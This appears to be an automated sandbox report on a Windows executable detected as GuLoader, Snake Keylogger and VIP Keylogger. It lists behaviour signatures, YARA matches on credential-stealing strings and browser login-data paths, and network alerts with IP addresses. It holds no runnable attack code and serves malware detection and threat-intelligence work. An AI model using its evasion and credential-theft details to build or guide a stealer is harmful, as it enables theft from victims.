Edit tour

Windows Analysis Report
MC8017774DOCS.exe

Overview

General Information

Sample name:	MC8017774DOCS.exe
Analysis ID:	1562048
MD5:	d4c19e96d83bd586016a3be2e3a57f1d
SHA1:	bf5d7271766db9b568ac98006c7eda0de40bc2bd
SHA256:	5cba2773587387ad35e187bf5135467da368909ae0d4dd1a0f1d80be6338fc44
Tags:	exeGuLoaderuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

MC8017774DOCS.exe (PID: 7084 cmdline: "C:\Users\user\Desktop\MC8017774DOCS.exe" MD5: D4C19E96D83BD586016A3BE2E3A57F1D)

MC8017774DOCS.exe (PID: 4488 cmdline: "C:\Users\user\Desktop\MC8017774DOCS.exe" MD5: D4C19E96D83BD586016A3BE2E3A57F1D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000003.2640209987.0000000003DD3000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35581:$a1: get_encryptedPassword 0x35555:$a2: get_encryptedUsername 0x35619:$a3: get_timePasswordChanged 0x35531:$a4: get_passwordField 0x35597:$a5: set_encryptedPassword 0x35364:$a7: get_logins 0x30bfc:$a10: KeyLoggerEventArgs 0x30bcb:$a11: KeyLoggerEventArgsEventHandler 0x35438:$a13: _encryptedPassword
00000000.00000002.2522145206.0000000000848000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35671:$a1: get_encryptedPassword 0x35645:$a2: get_encryptedUsername 0x35709:$a3: get_timePasswordChanged 0x35621:$a4: get_passwordField 0x35687:$a5: set_encryptedPassword 0x35454:$a7: get_logins 0x30cec:$a10: KeyLoggerEventArgs 0x30cbb:$a11: KeyLoggerEventArgsEventHandler 0x35528:$a13: _encryptedPassword
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f744:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ede7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f044:$a4: \Orbitum\User Data\Default\Login Data 0x3fa23:$a5: \Kometa\User Data\Default\Login Data
00000004.00000002.3480962363.0000000036720000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33243:$s1: UnHook 0x331df:$s2: SetHook 0x33218:$s3: CallNextHook 0x331a7:$s4: _hook
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x36591:$a1: get_encryptedPassword 0x36565:$a2: get_encryptedUsername 0x36629:$a3: get_timePasswordChanged 0x36541:$a4: get_passwordField 0x365a7:$a5: set_encryptedPassword 0x36374:$a7: get_logins 0x31c0c:$a10: KeyLoggerEventArgs 0x31bdb:$a11: KeyLoggerEventArgsEventHandler 0x36448:$a13: _encryptedPassword
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40664:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3fd07:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ff64:$a4: \Orbitum\User Data\Default\Login Data 0x40943:$a5: \Kometa\User Data\Default\Login Data
00000004.00000002.3480673346.00000000360E0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x34163:$s1: UnHook 0x340ff:$s2: SetHook 0x34138:$s3: CallNextHook 0x340c7:$s4: _hook
00000004.00000002.3476754356.0000000033D31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.3450065086.000000000006F000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x76fdf:$a1: get_encryptedPassword 0x76fb3:$a2: get_encryptedUsername 0x77077:$a3: get_timePasswordChanged 0x76f8f:$a4: get_passwordField 0x76ff5:$a5: set_encryptedPassword 0x76dc2:$a7: get_logins 0x7265a:$a10: KeyLoggerEventArgs 0x72629:$a11: KeyLoggerEventArgsEventHandler 0x76e96:$a13: _encryptedPassword
00000000.00000002.2522664351.00000000037E7000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: MC8017774DOCS.exe PID: 7084	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: MC8017774DOCS.exe PID: 4488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MC8017774DOCS.exe PID: 4488	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: MC8017774DOCS.exe PID: 4488	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: MC8017774DOCS.exe PID: 4488	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x30f29:$a1: get_encryptedPassword 0x12364b:$a1: get_encryptedPassword 0x1b479e:$a1: get_encryptedPassword 0x21f36b:$a1: get_encryptedPassword 0x30efd:$a2: get_encryptedUsername 0x12361f:$a2: get_encryptedUsername 0x1b4772:$a2: get_encryptedUsername 0x21f33f:$a2: get_encryptedUsername 0x30fc1:$a3: get_timePasswordChanged 0x1236e3:$a3: get_timePasswordChanged 0x1b4836:$a3: get_timePasswordChanged 0x21f403:$a3: get_timePasswordChanged 0x30ed9:$a4: get_passwordField 0x1235fb:$a4: get_passwordField 0x1b474e:$a4: get_passwordField 0x21f31b:$a4: get_passwordField 0x30f3f:$a5: set_encryptedPassword 0x123661:$a5: set_encryptedPassword 0x1b47b4:$a5: set_encryptedPassword 0x21f381:$a5: set_encryptedPassword 0x30d15:$a7: get_logins
Click to see the 25 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34791:$a1: get_encryptedPassword 0x34765:$a2: get_encryptedUsername 0x34829:$a3: get_timePasswordChanged 0x34741:$a4: get_passwordField 0x347a7:$a5: set_encryptedPassword 0x34574:$a7: get_logins 0x2fe0c:$a10: KeyLoggerEventArgs 0x2fddb:$a11: KeyLoggerEventArgsEventHandler 0x34648:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35671:$a1: get_encryptedPassword 0x35645:$a2: get_encryptedUsername 0x35709:$a3: get_timePasswordChanged 0x35621:$a4: get_passwordField 0x35687:$a5: set_encryptedPassword 0x35454:$a7: get_logins 0x30cec:$a10: KeyLoggerEventArgs 0x30cbb:$a11: KeyLoggerEventArgsEventHandler 0x35528:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.36720000.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.36720000.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33a71:$a1: get_encryptedPassword 0x33a45:$a2: get_encryptedUsername 0x33b09:$a3: get_timePasswordChanged 0x33a21:$a4: get_passwordField 0x33a87:$a5: set_encryptedPassword 0x33854:$a7: get_logins 0x2f0ec:$a10: KeyLoggerEventArgs 0x2f0bb:$a11: KeyLoggerEventArgsEventHandler 0x33928:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.36720000.4.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3db44:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d1e7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d444:$a4: \Orbitum\User Data\Default\Login Data 0x3de23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.36720000.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31643:$s1: UnHook 0x315df:$s2: SetHook 0x31618:$s3: CallNextHook 0x315a7:$s4: _hook
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x36591:$a1: get_encryptedPassword 0x36565:$a2: get_encryptedUsername 0x36629:$a3: get_timePasswordChanged 0x36541:$a4: get_passwordField 0x365a7:$a5: set_encryptedPassword 0x36374:$a7: get_logins 0x31c0c:$a10: KeyLoggerEventArgs 0x31bdb:$a11: KeyLoggerEventArgsEventHandler 0x36448:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40664:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3fd07:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ff64:$a4: \Orbitum\User Data\Default\Login Data 0x40943:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33a71:$a1: get_encryptedPassword 0x33a45:$a2: get_encryptedUsername 0x33b09:$a3: get_timePasswordChanged 0x33a21:$a4: get_passwordField 0x33a87:$a5: set_encryptedPassword 0x33854:$a7: get_logins 0x2f0ec:$a10: KeyLoggerEventArgs 0x2f0bb:$a11: KeyLoggerEventArgsEventHandler 0x33928:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.360e0000.3.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e864:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3df07:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e164:$a4: \Orbitum\User Data\Default\Login Data 0x3eb43:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f744:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ede7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f044:$a4: \Orbitum\User Data\Default\Login Data 0x3fa23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x36591:$a1: get_encryptedPassword 0x36565:$a2: get_encryptedUsername 0x36629:$a3: get_timePasswordChanged 0x36541:$a4: get_passwordField 0x365a7:$a5: set_encryptedPassword 0x36374:$a7: get_logins 0x31c0c:$a10: KeyLoggerEventArgs 0x31bdb:$a11: KeyLoggerEventArgsEventHandler 0x36448:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.afa4e.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x34163:$s1: UnHook 0x340ff:$s2: SetHook 0x34138:$s3: CallNextHook 0x340c7:$s4: _hook
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3db44:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d1e7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d444:$a4: \Orbitum\User Data\Default\Login Data 0x3de23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0000.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x32363:$s1: UnHook 0x322ff:$s2: SetHook 0x32338:$s3: CallNextHook 0x322c7:$s4: _hook
4.2.MC8017774DOCS.exe.360e0f20.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33243:$s1: UnHook 0x331df:$s2: SetHook 0x33218:$s3: CallNextHook 0x331a7:$s4: _hook
4.2.MC8017774DOCS.exe.b096e.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x33a71:$a1: get_encryptedPassword 0x33a45:$a2: get_encryptedUsername 0x33b09:$a3: get_timePasswordChanged 0x33a21:$a4: get_passwordField 0x33a87:$a5: set_encryptedPassword 0x33854:$a7: get_logins 0x2f0ec:$a10: KeyLoggerEventArgs 0x2f0bb:$a11: KeyLoggerEventArgsEventHandler 0x33928:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.b096e.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3db44:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3d1e7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3d444:$a4: \Orbitum\User Data\Default\Login Data 0x3de23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35671:$a1: get_encryptedPassword 0x35645:$a2: get_encryptedUsername 0x35709:$a3: get_timePasswordChanged 0x35621:$a4: get_passwordField 0x35687:$a5: set_encryptedPassword 0x35454:$a7: get_logins 0x30cec:$a10: KeyLoggerEventArgs 0x30cbb:$a11: KeyLoggerEventArgsEventHandler 0x35528:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.b096e.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31643:$s1: UnHook 0x315df:$s2: SetHook 0x31618:$s3: CallNextHook 0x315a7:$s4: _hook
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f744:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ede7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f044:$a4: \Orbitum\User Data\Default\Login Data 0x3fa23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x40664:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3fd07:$a3: \Google\Chrome\User Data\Default\Login Data 0x3ff64:$a4: \Orbitum\User Data\Default\Login Data 0x40943:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.360e0000.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x34163:$s1: UnHook 0x340ff:$s2: SetHook 0x34138:$s3: CallNextHook 0x340c7:$s4: _hook
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.MC8017774DOCS.exe.b096e.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33243:$s1: UnHook 0x331df:$s2: SetHook 0x33218:$s3: CallNextHook 0x331a7:$s4: _hook
4.2.MC8017774DOCS.exe.afa4e.0.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.MC8017774DOCS.exe.afa4e.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.MC8017774DOCS.exe.360e0f20.2.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x31643:$s1: UnHook 0x315df:$s2: SetHook 0x31618:$s3: CallNextHook 0x315a7:$s4: _hook
4.2.MC8017774DOCS.exe.afa4e.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x34791:$a1: get_encryptedPassword 0x34765:$a2: get_encryptedUsername 0x34829:$a3: get_timePasswordChanged 0x34741:$a4: get_passwordField 0x347a7:$a5: set_encryptedPassword 0x34574:$a7: get_logins 0x2fe0c:$a10: KeyLoggerEventArgs 0x2fddb:$a11: KeyLoggerEventArgsEventHandler 0x34648:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x35671:$a1: get_encryptedPassword 0x35645:$a2: get_encryptedUsername 0x35709:$a3: get_timePasswordChanged 0x35621:$a4: get_passwordField 0x35687:$a5: set_encryptedPassword 0x35454:$a7: get_logins 0x30cec:$a10: KeyLoggerEventArgs 0x30cbb:$a11: KeyLoggerEventArgsEventHandler 0x35528:$a13: _encryptedPassword
4.2.MC8017774DOCS.exe.afa4e.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3e864:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3df07:$a3: \Google\Chrome\User Data\Default\Login Data 0x3e164:$a4: \Orbitum\User Data\Default\Login Data 0x3eb43:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3f744:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3ede7:$a3: \Google\Chrome\User Data\Default\Login Data 0x3f044:$a4: \Orbitum\User Data\Default\Login Data 0x3fa23:$a5: \Kometa\User Data\Default\Login Data
4.2.MC8017774DOCS.exe.afa4e.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x32363:$s1: UnHook 0x322ff:$s2: SetHook 0x32338:$s3: CallNextHook 0x322c7:$s4: _hook
4.2.MC8017774DOCS.exe.36720000.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x33243:$s1: UnHook 0x331df:$s2: SetHook 0x33218:$s3: CallNextHook 0x331a7:$s4: _hook
Click to see the 60 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:09:59.525079+0100	2803305	3	Unknown Traffic	192.168.2.6	49821	172.67.177.134	443	TCP
2024-11-25T07:10:06.599757+0100	2803305	3	Unknown Traffic	192.168.2.6	49838	172.67.177.134	443	TCP
2024-11-25T07:10:18.087506+0100	2803305	3	Unknown Traffic	192.168.2.6	49871	172.67.177.134	443	TCP
2024-11-25T07:10:21.452984+0100	2803305	3	Unknown Traffic	192.168.2.6	49882	172.67.177.134	443	TCP
2024-11-25T07:10:24.723371+0100	2803305	3	Unknown Traffic	192.168.2.6	49890	172.67.177.134	443	TCP
2024-11-25T07:10:28.422026+0100	2803305	3	Unknown Traffic	192.168.2.6	49902	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:09:55.095980+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49808	132.226.8.169	80	TCP
2024-11-25T07:09:57.783587+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49808	132.226.8.169	80	TCP
2024-11-25T07:10:04.799293+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49826	132.226.8.169	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:09:51.498327+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49801	185.244.144.68	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: MC8017774DOCS.exe	ReversingLabs: Detection: 42%
Source: MC8017774DOCS.exe	Virustotal: Detection: 48%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: MC8017774DOCS.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: MC8017774DOCS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

